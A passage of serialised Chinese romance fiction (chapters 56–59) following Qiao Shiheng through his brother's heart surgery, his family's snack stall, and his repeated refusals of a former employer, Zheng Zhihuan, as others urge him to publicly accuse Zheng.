“这不好笑。”乔施珩感觉无奈，“但是我支持你去做有意义的事情。” 乔施文收起笑容，“我是真的深思熟虑了，不是为了洗白什么的。我账号都注销了，以后再重新开一个，分享分享在远方的日常。”她把零食扔给乔施珩，“以后，我也要体验一下你背井离乡的苦啦。” 乔施珩从没觉得那些年很苦，他反而觉得现在才苦，这个房子的每个人，都很苦。 他不禁会想，如果他没有回来，是不是一切都不会变？ 这天晚上，大概每个人都没能睡着。 凌晨三点多，楼下传来太芬焦急的叫声，乔施珩几乎和乔施文同时出门奔下楼。 “快快快打电话，你哥不知道怎么了。” 乔施珩冲进他们的卧室，乔施军捂着心口蜷缩在床边，已经陷入昏迷—— 作者有话说：对不起，我也不想事情变成这样[小丑] 第56章 “我会是你，最大的绊脚…… 乔施珩与太芬一起守在医院，乔施文则在家里看着孩子。 “他说他胸口闷，我以为他是还有气，就没管。”太芬懊恼：“早知道，我就多问他两句了。” “别太担心，你发现得很及时了。”乔施珩安慰她。 “上了个支架，不会影响什么吧？”太芬对这些不太了解，难免担忧。 “不会，本身他也做不了重活，帮你打打下手没问题的。” “我要他打什么下手，我虽然腿脚不利索，但做事利索着呢。”她叹气，想到自己那点小摊，“好在□□这些跑腿的事情，你朋友都帮忙做了。”她想了想，还是说：“我之前猜测你是跟郑先生闹矛盾才辞职的，没往那方面去想。只是这条路也不好走，不稳定，那个来家里的男孩子跟你年纪差得有些大了。” “想什么呢。”乔施珩无奈地笑，“我跟他不是那种关系，他还小，我也没往这方面考虑过。” “那就好。”太芬有些不好意思，“我是怕你” “我知道。” 乔施军的手术不算大，太芬舍不得她的生意，乔施文将两个小孩送上校车后就到医院里去看护。而乔施珩，总要去上班。 他只跟陈新简要地说了乔施军的病情，没说其他的事情。陈新听了当即表示要提点礼品去看望。 “不用了，发现得及时，没有太大的问题。” “我可不是为你，你别忘了我跟太芬嫂子也有点交情。”陈新不禁感慨，“还好太芬嫂子现在生意做了起来，不然全都指望你，我看你也是难。” 他看乔施珩总是忧心忡忡，“你是怎么了？看着不开心。有什么困难，说出来听听，我能帮肯定帮。” “没什么。” “你满脸都写着有什么。”陈新低声：“是感情的事情吗？那个总是来找你的有钱人？” “不是。”乔施珩确实有段时间没看到盛逸则了，之前听说他麻烦不小，但基于两人的关系，他不好去问，也没想着去问。 “那就是郑先生了？” 乔施珩倒是没有否认，不过他也不想跟别人讨论他与郑先生之间的事情。尤其是那天晚上郑先生的话，给了他一定程度的冲击。因为乔施军的事情他这几天都没能细想他的话，也有一方面是他自己不想去想。甚至因为这样，特意将约见潘以佳的时间往后推了一段时间。 是缓冲，但也是逃避，他不可否认。 “说实话，像他那样的人，不太适合走这条路。两条路同时走的话，可能都走不了太远。你又何必想不开，总该朝前看，可不能朝后退啊。”陈新鼓励他：“你就应该多出去玩玩，认识的人多了，说不定就有合适的。”他拍了拍自己，“再说了，我觉得我也” “陈老板，再聊下去今天送不完了，前阵子被查积压了不少。”宋来冲进来喊他们。 陈新虽然对谈话被打断不满，但宋来说得也没错，只好放他们去送货。 可晚上乔施珩一回来，他就把人揪住，“走走走，吃火锅去。” “这个天吃火锅啊？”乔施珩婉拒：“我要先去医院看一下我哥，他快出院了，出院前还要再做一遍身体检查。” 陈新没再坚持，“正好，我送你去，我也去看看他。” 乔施珩本来还想拒绝，但陈新说自己本来就该去看他，乔施珩拧不过他，只好跟他一起去了医院。 陈新在路上停下来买了不少水果，乔施文接过水果将他们迎进病房，乔施军恢复得不错，但不怎么想说话。陈新搭了几句没搭上也觉得尴尬，刚好手机响了，他就出去接了。 乔施军这才问乔施珩：“他跟你什么关系？” 一边的乔施文也凑过来：“对啊，哥。他也老大不小不结婚，相亲也不相，是不是也是……” 乔施珩知道陈新的取向，陈新确实也对他很照顾，他不知道陈新到底有没有这种想法，总也不好误会别人，或许陈新就只是个热心肠的人呢？ “别这么猜测，会对别人造成不好的影响。”乔施珩还是隐瞒了陈新的取向，“再说了，你们也不能只要看到我跟男人在一起，就觉得对方有问题。” “也是，咱们这是不是草木皆兵？”乔施文拍拍乔施军的病床，“哥，咱们以后可不能戴有色眼镜看二哥跟二哥的朋友，听到没有？” 从医院出来，陈新驱车把他送回家。 “你哥家的两个孩子呢？暑假补课吗？” “补了一个月，现在放假等开学，在家里没人带，嫂子把他们带去摊位了。” “也行，孩子也大了点，好带了。”陈新打开雨刮器：“下雨了，说是过几天有台风。” 乔施珩没注意天气预报。 到了地方，陈新停好车，在车里找了找：“没伞。” “没事，我跑回去就行了。” “那我也要备一把伞，再说了，这不就是超市，买两把。” 他们跑到王圆家的超市，王圆正守在柜台前看电视，看到他很惊讶：“小乔哥？陈哥？你们怎么来了？” “我们下班路过。”陈新问她：“你爸妈现在没事了吧？” “没事了，福大命大！”王圆抱起两个小西瓜一人给他们塞了一个，“请你们的，这事儿值得请。” “不用了，外面下雨也不好拿。”乔施珩拒绝。 “对了，小乔哥，大乔哥没事吧？” “没事，做了个小手术已经好了。” “那就好。” 从超市出来，陈新坚持要送他几步路，乔施珩想着也不远，就没再跟他推脱来推脱去。 “下次就该把她们家的货分给你送，这样你送完就能回家。” 乔施珩笑：“那车怎么办？不是规定车当天必须还回仓库吗？” “我老陈是那么小气的人吗？车你就开着。” “违反公司制度要罚款，你忘了？” “规矩都是我说了算，我说不罚谁敢罚。” 反正也是闲聊，乔施珩想起来：“我就见过另外两个老板一两次，他们不常来吗？” “咱们几个人一共有四个点，他们看别的点，这个点就是我主要负责。” “分工合作啊，这也挺好的。” 乔施珩说到这里，陈新却是停下了脚步。 在他们前方，乔施珩家门前，郑祉桓没有打伞，就那么靠在门上淋雨。他站得很随意，重量倾斜在左腿上，头靠在门上，看向的方向就是这个路口。 “是郑先生吗？”陈新问。 乔施珩看了看，不想让陈新掺和进来，“你先回去吧。” “你看着不高兴都是因为他？你们不是分开了吗？” “你别管了，我也不好解释。” “什么不管，一次两次来你家里，是不是纠缠你呢？”陈新不理会乔施珩的阻拦，径直往前走去。 直到他走到跟前，郑祉桓还是那个样子靠着，目光也不在他的身上，而在他身后的乔施珩身上。 “郑先生，我是小乔的朋友，我想我有必要提醒你，你们已经分开了，你就不要总是来纠缠他，他也有自己的生活。” 陈新虽然生气，但言语没有很过分，确实是在提醒。 可郑祉桓却并不友好，他甚至都没有理会陈新的这句话，仍然看向企图阻止陈新的乔施珩。 “陈哥，算了，你先回去，我自己能解决。” 陈新见郑祉桓当他透明，也就不太客气，“你是位有头有脸的人物，我相信你也不想闹出一些对你名声不好的事情来，你这样的行为再持续就叫作骚扰。” 郑祉桓眉头动了动，他似乎不觉得自己像只落汤鸡很狼狈，仍然懒懒散散，“人应该专注自身，少管闲事。” “这不是闲事！”陈新强调：“小乔是我的员工，我是他的老板！” 郑祉桓站直了身体，抬脚走向陈新，在他的伞外停下。他微微弯腰从伞下看向陈新，轻描淡写，“我是他男人。” 陈新看懂了他的眼神，其中充斥着嘲笑与不屑，还有几分漫不经心。那瞬间他大脑充血，本能地冲动，却被出现在他们两人之间的乔施珩隔开。 乔施珩在他的伞下，却是背对着他，面对着郑祉桓。 “郑先生，我上次就跟你说了，以后不许来我家找我，你食言了。” “我没有答应，何来食言？”他看着伞下的两人，终于注意到从他脸上滑落的那些雨水，此刻，他竟然笑了，“乔施珩，你最好，现在就让他滚。” 陈新还欲上前，被乔施珩拦住了，“陈哥，我的事情我自己解决，你别管了。” 他的声音冷下来，陈新就真的没再动了，他犹豫了一下，最终决定让乔施珩自己解决。“我在车里等你，你结束后和我说一声，我就走。” 等他走了，乔施珩也顾不上自己扔掉的伞了。 “我说了，让你不要再来我家找我，我应该要说几次，你才能听懂？”乔施珩不再忍耐，“我告诉你了，我放弃了，我不想再跟你一起，也不会再回去做你的司机了，我们不会一辈子都绑在一起这样的话，你要我说几次？” “你要我说几次？” 郑祉桓似乎被他的顽固刺激，他的声音也很大，但掩盖在雨声中，就小了很多。 “我不是说了，我们交往吗？是因为陈新？盛逸则？还是那个冯昭？”他逼近乔施珩，“你以为这些人就是好人吗？他们是真的爱你吗？我从不认为你会选择这些人！” “我再说一次，我们交往。”他的声音有不可察觉的颤抖，和哀求，“好吗？” “交往？”乔施珩冷笑，“郑祉桓，你知道什么是爱吗？你有爱人的能力吗？” “你刚刚说的每一个人，你看不上的每个人，他们都比你知道什么是爱，什么是尊重，什么叫分寸，他们都比你会爱人，你凭什么就认为他们不是好人？” “也凭什么认为，我不会选他们。” 郑祉桓看着他，“ 你不是爱我吗？” 他的问话很犹疑，带着极大的不确定性及试探性，“你不是……爱我吗？” 乔施珩的心跳漏了两拍。 “我或许不会爱人，我或许不知道什么是爱。”郑祉桓脸上的表情变化，像是无力地笑，又像是要哭，“可至少……” “我见过爱。” “我会学。” 乔施珩往后退了两步，雨水淹没了他的眼眸，他所有的话都哽住了。好半晌，他才从一种仿若真空的状态里抽离。 “我已经不想要了。” 错开他的时候，乔施珩还是说：“以后别再来找我，这是我最后一次跟你这么说。” “乔施珩！” “到底为什么？我不够诚心？还是不够诚意？还是你真的想要选择别人？或者已经选了别人？”他扯住乔施珩，按住他的肩膀，低头看他，“我真的能做得都做了，你想要什么？你想要我怎么做？” “你想要我怎么做？” “我想要你离我远一点，别再来打扰我的生活。”面对他的爆发，乔施珩很平淡，“已经很糟糕了，我大哥在医院里，小文她就要去很远的地方Z教了，算我求你了，离我远一点吧。” 郑祉桓抱住他，“是我在求你。” “郑祉桓，你别逼我。” 相同的话，如今却是相反的人在说。 郑祉桓放开他，往后退了几步。 “我说过，你不是我这样一无所有的普通人，至今为止，你在为了什么努力，你和我都知道。我相信，你也不想你所有的心血白费。” “适可而止，给你和我都留个体面的结局。” 郑祉桓听出了他的意思，“乔施珩，我也说过，我不会倒在任何人的脚下。” “或许是，你或许对任何人都设防。” “可你对我没有。” “我会是你，最大的绊脚石。” 郑祉桓抑制不住地笑起来，甚至笑弯了腰。这笑声混在雨水之中，变了音调，像哀号。 他笑着往后退。 “乔施珩，你知道吗？今天是我的生日。” “我确实不会倒在任何人脚下，如果是你的话，那没关系。” “欢迎去JB我，我的绊脚石。” 第57章 你这个真的不算什么。…… 不知道是不是因为淋了雨的缘故，乔施珩发烧了。 乔施军抱着保温杯晃过来：“真是好了这个，病了那个。” “对啊，我是照顾完这个，照顾那个。”乔施文把冲好的感冒药递给他。 乔施珩不想说话，也不想喝药。 等到乔施军走了，乔施文在床边坐下来，“说说吧，到底怎么回事？” 但是好半天，她都没有等到乔施珩说话。 “是郑先生的事情吗？他又来找你了？你们之间到底发生什么事情了？” 最后，乔施文搭话失败。 “我找他去！”乔施军把保温杯放到茶几上，气呼呼就要出门，被乔施文抓住。 “别添乱了大哥。” “这怎么叫添乱？他有权有势了不起？我G他去！” “行了，告什么告，前阵子那么大的事情他都没事，你G得了吗？”乔施文想了想，“这个事情还是得二哥自己想通。” 她不明白：“这有什么想不通的，我二哥也太脆弱了。” 乔施珩已经过了脆弱的时候，也不认为自己脆弱，他只是觉得很烦躁，好像什么也不想干，用通俗一点的话来说，他觉得很郁闷，有点抑郁。要说郑祉桓这个人也奇怪，能堵上门找他，却一点儿也不善用手机这个东西。 乔施珩的未读消息都是别人的，他一一回复以后，最终目光落在了有阵子没联系的郑祉裕的头像上。 但他还是先去见了潘以佳。 潘以佳换了个休闲些的服饰，看着比她平时要年轻很多，她点了些菜后把手机还给了乔施珩。 “你脸色看着有点苍白，发烧好了吗？” “你怎么知道我发烧了？”乔施珩又点了几道菜。 “回家吃饭的时候遇到了你妹妹，我打听了一下你，她说你生病了，本来想去看你，但感觉你应该不是很想见我。”潘以佳看着他，倒是没有什么八卦的样子，“现在缓过来了吗？能接受这件事被别人知道的事实了吗？” 她这样的状态倒是很能让乔施珩放松，可乔施珩还是有些犹豫地问她：“你不会觉得我……不太好吗？” 潘以佳无奈一笑，“现在什么年代了，你应该放开一些，再过两代，观念就可以放开了。” 乔施珩当然知道现在社会开放了，可事情发生在他自己的身上，他仍然还是会有些介意。也可能他本身还不够强大，这一年还不足够让他成长，他应该是□□走出了乌龟壳，精神还没完全走出去。 “其实我对你和郑先生之间的这种关系并没有感到很惊讶。” “为什么这么说？” “你记得我跟你说过，因为工作的关系我也和郑先生打过一点点交道，我觉得他那个人很……”潘以佳想了想，“不好形容，就是感觉上跟其他Ld不太一样，也有可能是因为他年轻的原因，至少在他这个层面上，他算是最年轻的一位了。” “其实前阵子的那件事，我以为他是脱不开关系的，毕竟上去的有些跟他关系还挺密切的。”潘以佳露出一个意想不到的表情，“没想到他居然没事。” “你知道吗？”她又说：“他的LD，跟娱乐圈里不少男星都有些牵扯，所以很显然，那个圈子里应该是男女不忌的。” 乔施珩当然知道，林木不就是最好的例子，他有段时间没听到林木的消息了，也可能从此都听不到他的消息了。 “你这样的长相可不比那些男星差，而且我听闻你跟他那么多年，实在诧异。” 服务员上了菜，潘以佳也不客气，“所以说我对你们之间的关系并不感到诧异，以我接触到的一些圈子里的新闻，那都震碎三观，你这个真的不算什么。” “而且我真的认为你是个不错的人，所以你没必要因为这件事不开心。”潘以佳没有再就郑先生跟他聊下去。她换了个话题，“你妹妹以后有什么打算？” 乔施文要去Z教这件事还没几个人知道，但是这也不是什么值得隐瞒的事情，乔施珩就如实告诉了她。 “是吗？”潘以佳诧异：“她竟然做了这样的选择吗？” “是。”乔施珩当初也惊讶，他当然舍不得她离开家，离开这座她从小就生活在这里的这座城市，但他支持她的做法。“我认为做一些有意义的事情，还是值得的。所以我支持她，支持她去探索更多，丰富一些阅历，磨一磨性子，长长见识，我都觉得可以。” “那是，再怎么样也能够成长。”潘以佳没隐瞒她的看法，“不过我确实没认为她会做这样的选择，我以为她是那种在你们捧着惯着下长大的孩子，吃不了太多苦。” “经历了一些事，人总会成长的。” 吃完饭出门的时候，乔施珩意外看到陈新站在路边打电话，看到乔施珩出来后，陈新匆匆跟那边说了什么，就走了过来。 潘以佳显然认识陈新，“这不是陈老板吗？这么巧啊，在这里看到你。” “潘大主持就别调侃我了，我是看到你朋友圈过来的。”陈新解释：“我刚好在南州大桥下，过来就十分钟。” 潘以佳吃饭的时候确实拍了一张乔施珩的照片发了朋友圈，还带了饭店的地点。 “那真是奇怪了，我发我和朋友吃饭的朋友圈，你来干什么？”她的目光在乔施珩跟他之间来回两趟，恍然大悟，“哦，那我就不打扰了，我告辞，我告辞。” 上车后，陈新问他：“你病都好了？” “好了，退烧了。” “再休息几天吧，仓库那边我安排了别人，你就别管了。” 乔施珩没跟他推脱，他确实需要几天理一理自己的心绪。 陈新那晚等到郑祉桓离开，他又去了乔施珩家里，乔施珩已经进了屋里，他就没有打扰，离开了。 结果第二天就接到他的消息说他发烧了，要请假。 “小乔，有些话我本来不想说，但你跟他确实是不合适，我建议你还是趁早跟他断干净。”他也明白，“但是像他这样的人物要想纠缠你，有的是办法和手段，你也应该小心一点。” 乔施珩莫名想到那天晚上，他威胁郑祉桓的事情来。他确实从没想过跟他鱼死网破，但他也觉得人被逼到一定程度，是什么都可以做出来的。 但感觉是感觉，现实是现实。 他也不认为自己有那个胆量与气魄。 他一直是个胆小鬼。 在他总认为自己已经成长的时候，又跌回原地。 乔施珩在家躺着也是躺着，就跟着太芬一起去了摊位上。令他意想不到的却是生意特别好，总是有年轻人来光顾，甚至连上午都没有闲着。 “还是你的料好，自己配的就是不一样，不过有时候我也会多放了点盐，少放了点辣椒。”太芬指了指迷你电子秤，“有了这个就准多了。” 乔施珩不敢相信，“我自己随便搭配的，竟然这么好卖。” “要我说，再努努力，都能开分店了。” 乔施珩看着门框上那简单的串串两个字，“上次不是说起个名字吗？” “那个当时忘了就没用得上，你要不再起个呢。” “小乔串串？”乔施珩笑，“听起来就好吃。” “那你联系做广告牌的，给咱们换一个。” 乔施珩反正没事，帮太芬忙到下午，备足了货就联系人换了牌匾。 到了晚上他看了看店里的收入，终于彻底放下心来。 于是第二天他跑去蒙久的店里跟他喝酒，却扑了个空，店员说他去了天市，那肯定是去看女朋友去了。 这几天他脑海里一直盘着一个念头，而这个念头终于在看到家里摊位上的生意时，有了落地的趋势。 在街上乱晃的时候，他的手机响了起来，拿起来看到是郑先生的号码后，他没接，但很快对面就挂断了电话。他看着那号码很久，却是拨通了另一个人的号码。 “郑总，前几天你约我吃饭的时间，能提前吗？” 郑祉裕事情没结束，让他到他工作地方的楼下等他。 乔施珩看了看地址，不算远，就坐了地铁过去。 他还没有见过这么豪华的工作地点，进入大楼后，四周金碧辉煌，一想到这么一栋楼都是裕华科技的，他不禁感叹。郑先生工作的地方也是大楼，但不可能装修很豪华，相对来说会比较朴素。 而这里就连待客区，都像车站的候车区。 前台给他端来茶水，让他等一等。 但这杯茶还没凉透，郑祉裕就下了楼来。 “没等很长时间吧？”他看了看时间，“还好，走吧。” “今天森森课时比较满，我们不用带他了。” 郑祉裕将他带到一家西餐厅，乔施珩没怎么吃过西餐，他不太会用刀叉，用起来有些别扭，郑祉裕就叫来服务员拿来筷子。 “没事，这里只有我，没别人看你。” 乔施珩看了看四周，确实没人，只有他们。 “怎么想起来提前时间？没上班吗？” “这几天请假了。”乔施珩轻飘飘回答。 “休假吗？” “没，发烧，已经好了，但还是多请了几天假。” “这么巧，你也生病了。” 第58章 “你也有今天。” 还有谁生病了，郑祉裕不说，乔施珩也听得出来，但他选择没有听到。 见他沉默，郑祉裕也没有提这个事情。 “其实，他这么挽留你，你却仍然拒绝了他，倒是有些出乎我意料。”郑祉裕坦言，“在我看来，你应该是个心软的人，我不觉得你会有勇气一而再再而三拒绝他。” “不过我也明白，人心不是一天冷掉的。” 乔施珩没说什么，他已经不想就情感这件事再做任何剖析了。虽然是他提前了时间，但这顿饭是郑祉裕先约的，他只是刚好没事过来赴约罢了。可是他和郑祉裕之间，除了郑祉桓就没别的可说了。 乔施珩对郑祉裕的生活不太了解，也没必要了解，所以即便想找其他话题，也不知道说什么。 只是两人吃完饭准备离开时，郑祉裕似乎是遇到了熟人，对方跟他握手寒暄，目光却停留在乔施珩身上，他很直白：“新换的小男友？长得不错啊。” 乔施珩很尴尬，倒是郑祉裕面不改色。 但是在车上的时候郑祉裕还是主动解释：“我跟你说过吧，我年轻的时候也是什么都玩儿得主。”末了，他又补了一句：“现在也没好到哪里去。” 还挺清醒。 乔施珩没有评论别人私生活的兴趣，就没搭话。 反倒是郑祉裕问他：“既然放弃了老二，有想过去开始一段新的感情生活吗？或许接触新的人，才会慢慢忘掉旧人。” “没想过。” 郑祉裕失笑：“这么干脆啊？”他鼓励乔施珩：“其实可以试试，我认为效果不错。” 乔施珩自认他做不到。 虽然郑祉裕鼓励他开启新的感情生活，但在快到目的地的时候还是替郑祉桓说了好话。 无非就是那些乔施珩听过的，明白的那些话。 “是老二的车。”郑祉裕疑惑：“他怎么在这里？” 他把车停在这辆车的车后面，乔施珩却迟迟没有下车。郑祉裕看了他一眼，明白：“确实是挺烦的，我劝他回家。” 郑祉裕绕到他的车门前，敲了敲车窗，里面的郑祉桓扫了他一眼，把车窗降下了一条缝。 “你这招我用过了，没用。” 郑祉桓问他：“你怎么在这里？” “你要找的人在我车里。”他眼见郑祉桓要急，忙说：“别误会，纯粹吃个饭。” “吃什么饭？” “西餐。” “……” 郑祉裕闷声笑，“你也有今天。” “五十步笑百步。” “是，我没有资格笑你。不过，我倒是认为把人逼得太紧，会适得其反。他现在讨厌你，你还非要贴上来，不是找不痛快吗？” “你一个失败者，向我传授你的失败经验？” “……” “但是话说回来，你不是病了吗？” 郑祉桓没解释，他推开车门下来，走到郑祉裕的车前，看着副驾驶上的乔施珩，却没说话。 乔施珩在车里坐了半天，知道这么僵持也没有办法。 下车后，郑祉桓却一反常态，没说什么显得比较激进的话语，他只是问：“去吃饭了？” 乔施珩点点头。 郑祉裕站在一边看着，带着点意味深长的笑容，一点儿也不掩饰自己看郑祉桓笑话的样子。 “好……好吃吗？”郑祉桓没来由地说：“我也没怎么吃过西餐。” 他吃没吃过西餐，乔施珩确实知道，他和自己一样，真的没怎么接触过这些，即使是回到了云海省以后，他去的也都是正儿八经的饭店，或者料理店。 面对他这很明显的搭话，乔施珩没接，他只是跟郑祉裕说：“郑总，我就先回家了。” 郑祉桓显然不想他走，欲言又止，反而是郑祉裕说：“好，回去吧。” 乔施珩没走几步，就听到郑祉裕的声音：“我没记错的话，你下午不是还在吊水吗？” 郑祉桓的声音隐约，“死不了。” 乔施珩走过这条走过无数次的街道，脑海里盘旋不下的那个念头，反而愈发强烈起来。 于是他又多请了几天假。 陈新也不在意，很爽快地就给了他假。 他不去上班，乔施军好奇，乔施文也好奇，一大早就揪着他问。 “多休息几天，没有别的原因。” “我以为你不想干了呢。”乔施文开玩笑：“要不你和我一起去Z教？” “我没那个文凭，做不了。” “那你就去建设大西……哦不对，你已经建设好多年了。” 轩轩和婷婷快开学了，乔施文带他们去买东西。 乔施珩就去太芬的店里帮忙，新换的牌匾做得很圆润，看着又可爱又喜庆。 “阿珩，你是不是还在因为郑先生的那个事情不高兴呢？感觉你还是有些心事重重的样子。” “没有。” “你就是有你也不说。” 乔施珩只是笑了笑，谁能隔三岔五被人堵门而觉得高兴呢。 “老板，来十串大鱿鱼。” 乔施珩听着声音耳熟，果然，冯昭戴着个鸭舌帽，正冲他们笑。 “小冯，你怎么来了？”太芬很热心，“还要别的吗？” “ 不要，别忙了嫂子，我开玩笑的。”冯昭指了指乔施珩，“我找小乔哥。” 乔施珩把手洗干净，跟着他顺着街道漫无目的地走。 “乔施文告诉我地址，我就过来了。” “有什么事吗？” “没事就不能找你啊。”冯昭问他：“你跟郑先生的事情怎么说？结束了吗？” “早就结束了。” 冯昭看他的样子就知道不算结束。 “我去看我叔叔了，我问了他郑先生的事情，他没跟我说很多，只是让我离他远一点，说他不是好人。”冯昭摇头，“这年头，就没几个好人。” 乔施珩想到他的叔叔，“你叔叔，还能出来吗？” “出不来了，按理是见不到他的，但是我舅舅也有事情要找他就把我也给带去了，他托了关系才能见十分钟。” “事情还没清楚吗？” “没，还在s理。” 话题似乎有些沉重了，冯昭无奈：“倒了我叔叔，我就倒霉了，前阵子被家里抓回家安排，把我一辈子都安排明白了。” “你本来就有皇位要继承，当然不能随心所欲。”乔施珩安慰他：“况且你还年轻，也不是说做不想做的事情就会做一辈子的。” “也是，而且我也跟你说过，我要做出一点成就来。”他终于妥协，“只是这样我就要离开这座城市了。” “去哪里？” “暂时还不知道，知道了我也不告诉你，等我抽空回来请你吃饭。” 乔施珩觉得他幼稚：“去哪里有什么值得隐瞒的吗？” “反正是很远的地方。” 乔施珩没再问他了。 倒是他犹犹豫豫，“我说我舅舅找舅妈的事情确实是真的，如果他不借助舅妈家的关系，他会解决不了他的麻烦。虽然他让我不要跟你说，但我想你也应该知道是受那件事情的牵扯。” 大家都心知肚明的事情，就不用多说了。 “你啊，我第一次见你，你就是跟现在差不多，哀哀戚戚的，看着可怜死了，过了这么久，你怎么还是这个样子。”他突然停下来，捧住乔施珩的脸，扯了扯他的嘴角，“你要笑啊，笑起来才好看。” 这个时候，旁边几个路过的女孩子对他们窃窃私语，还有个拿手机拍他们。 冯昭搂住乔施珩，对她们比了个耶的手势，“来来来，不白看，帮我们拍一张。” 他是个社牛，乔施珩却很不好意思。 所以那张照片上就是站着笔直比耶的冯昭搂着微微低着头，目光落在地面，带着几分难为情的乔施珩。 冯昭很满意这张照片，当即设为了壁纸。 “对了，我舅舅说想见你一面，他让我问一下你的意思。” 乔施珩想到他说的舅妈，“不合适吧？” “他找你有事，不知道是什么事情。”冯昭建议，“我看他每天都焦头烂额，要不然你见他一面？” 其实乔施珩是不想去见他的，但冯昭看起来确实担忧他的情况。 “他年纪大了，为了我外婆家尽心尽力的。”他忽然冒出一句：“对了，你不知道吧？他不是我亲舅舅，他是我外婆收养的，因为我外婆家里就我妈妈一个，他们想要男孩子打理家业，就收养了我舅舅。” 乔施珩又不经意地听到了一桩豪门秘闻。 冯昭算是就地找地方，他看中一家装修豪华的店，当场就定了地方，转手就给盛逸则打了电话，还炫耀自己敲定了这件事。 那边盛逸则连夸带哄，把他哄高兴了才挂了电话。 乔施珩的生活交友圈比较固定，他不回家吃饭只需要在家族群里说一声，乔施文再调侃他几句。倒是冯昭已经接了三通催他回家的电话，他无奈，“我爷爷最近病了，没办法，黏人，吃饭都要拉着我一起，等我走了，我看他怎么办。” 所以在盛逸则来之前，他就不得不走了。 乔施珩等了没多久，盛逸则就到了。 他看着有些憔悴，但还是显得贵气十足。 “有阵子没见了，还好吗？” “也没多久。” 寒暄了两句，盛逸则点了菜，顺便让乔施珩也点了几道。 “盛总，找我有事吗？” “有一点。” 盛逸则忽然掏出一个信封推给他。“你先看看，我想，照片里的人，你应该都不陌生。” 乔施珩打开信封。 里面是一沓照片。 照片里都是郑先生跟一些男男女女在一起的合照，有一起坐在车里的，也有一起吃饭的，一起交谈的…… 这些人他大多都认识，都是跟郑先生有关系的一些人。 但仅仅从照片上来看，倒是没有越矩之处。 只是其中有不少是和林木的，甚至还有和林木一起出现在机场的照片。 “这些是哪来的？”乔施珩很诧异，“你暗中跟踪他？” 盛逸则摇头，“我可没那么高瞻远瞩，这些东西是从对他有防心的人手里拿到的。” 也就是说，一直有人在暗中看着他？ 乔施珩问：“用这些，是想做什么？” “我猜你还不知道，你妹妹乔施文被牵扯进某校园的事情中并被曝光，其实并非偶然。如果不是他，你妹妹不会遭受网络暴力。” 第59章 “他根本不懂爱，他也根…… 乔施珩其实之前已经猜到一些了，并不是完全没有心理准备，所以他没说话。 反而是盛逸则又说：“不过这些人和他之间的关系也都被调查完成了，虽然不知道他是怎么脱身的，但显然这些东西没有对他构成威胁。” 乔施珩反而不明白了，“那你拿这些给我看，是想怎么样呢？” “如果这些没能对他构成威胁，那么你会有可能愿意站出来指控他吗？”盛逸则看起来还算轻松，像是无所谓，“毕竟我认为只有你与他的关系，是实实在在的。” 乔施珩气急了的时候确实是想过去JB他，可那又有什么用呢？ “这顶多算是私生活有问题，会对他造成很大的影响吗？”他对这方面确实不明白。 “没有违法违纪问题的话，确实说不上很大的影响。但你所说的这一条，一定会对他以后的路造成一定程度的影响，有可能他再也前进不了，又或许，他会倒退。” 乔施珩不明白，“你为什么，想这么做？” “在他的圈子里，对他和你的事情所知情的人不多，有些人顾忌他的背景，不敢轻易得罪他，所以这个恶人，我来做了。毕竟，我的生活因为他产生了翻天覆地的变化，不止我，很多人都是如此。” 乔施珩沉默了，他不知道郑先生的背景是不是他的父亲，他也仅仅知道他的父亲也是那个圈层的人。 “就拿你认识的人来说，你的妹妹遭受了严重的网络暴力，现在如果她在本市找工作，你认为好找吗？我想她做任何决定，都是无奈的。再说小昭，他本来可以做他的闲散公子再做几年，至少不用离开这座城市。可是现在，很多人的命运都发生了改变，包括我。” 乔施珩其实不想为郑祉桓辩解，但他只是不太赞同盛逸则的看法，“我很多事情都不太懂，但是有一点我有些疑问，如果那些倒下去的人真的堂堂正正，那么郑先生不管做什么，都不会对他们造成不好的影响啊。” “小乔，这世界上有几个堂堂正正的人？尤其是越往上去的圈层，独善其身都很难，更别提堂堂正正了。” 盛逸则似乎看出了他的犹豫，“你不忍心？” 乔施珩摇头，“我只是觉得没有必要，而且这件事情官方调查应该是不会出错的。” “你太天真了小乔。”盛逸则摇头，“这世界上就没有绝对公正的事情，就像没有绝对的公平，不过都是利益驱使罢了。” 可乔施珩只在很生气的时候想过，冷静下来的时候，他确实觉得没有必要。 “就算今日你我不站出来，也会有人想方设法扳倒他。”盛逸则点了点那些照片，“就算这是被调查完成的，但若是爆发到网络上，我想流言蜚语，就足够他喝一壶了。” 乔施珩想说什么，又不知道说什么。 “你对他还有感情。”盛逸则无奈，“你究竟喜欢他什么？他除了一副皮囊之外，还有其他可取之处吗？他冷漠，自私，为达目的不择手段，他想过爱你吗？又或者，他知道你爱他吗？” “他根本不懂爱，他也根本不值得。” 对啊，所以乔施珩放弃了呀。可他也不想站出来指责郑祉桓什么，而且，他也不想继续在这个漩涡里挣扎了。 吃了一顿没滋没味的饭，分开的时候，乔施珩问他：“是要结婚了吗？” 盛逸则久久没能回答他。 看得出来，他是有怨气的，但不是对乔施珩。 “如果不喜欢那位女生，也没到万不得已的地步，可以……”乔施珩说了一半，忽然觉得自己不该管这么多，这是别人的事情。 盛逸则将他送回家，到了熟悉的路口，他终于说：“我以为我会有机会，我也曾在这里等过你蛮多次。” 乔施珩不知道该说什么，但看盛逸则也确实无奈，他只好闷闷地说：“这就是所谓的有缘无分吧。” “不，是有小人作祟吧。”他说完，低低笑起来。 乔施珩跟他告别，但下了车没走两步，盛逸则追出来叫住了他。 他显然有些为难，但还算大方，“可以抱一下吗？”他说着，张开双臂。 乔施珩没矫情，虽说他们之间也没那么熟悉，自己也一直在刻意躲避他，可这个时候，他还是同样回以了大方。 短暂的拥抱后，盛逸则驱车走了。 乔施珩目送他的车离去，转头往家里走。 王圆家超市的门口，矮小的木制板凳上，郑祉桓正坐在那里抽烟，他身后的王圆看见乔施珩有些尴尬，没敢打招呼，只是笑了一下，就火速跑进了超市里，看不见影子了。 乔施珩倒是没觉得局促，经过郑祉桓身边的时候，他主动停了下来，面对他。 这次是他俯身看他。 郑祉桓叼着烟，仰头看着他，烟雾下，他微微眯着双眼，没说话，也没发疯。 乔施珩伸手抽出他嘴里的烟，扔进了门口的垃圾桶里。 郑祉桓主动说：“这里不是你家，也不是你家门口。” 乔施珩很难想象，他一个常年身居高位，已经奔四的人会蹲坐在一家小超市门口的小小板凳上。此刻风平浪静的郑先生应该还不知道即将到来的风暴。他也没有提醒他，他认为他有足够应对风暴的能力。 “以后，这里也不许来。” 郑祉桓有些诧异，但随即他又带上了笑容，“这么霸道啊。” 乔施珩没说什么，他转身往家里去了。 郑祉桓看着他离开的背影，伸手从一边的水果筐里拿了个橘子剥。 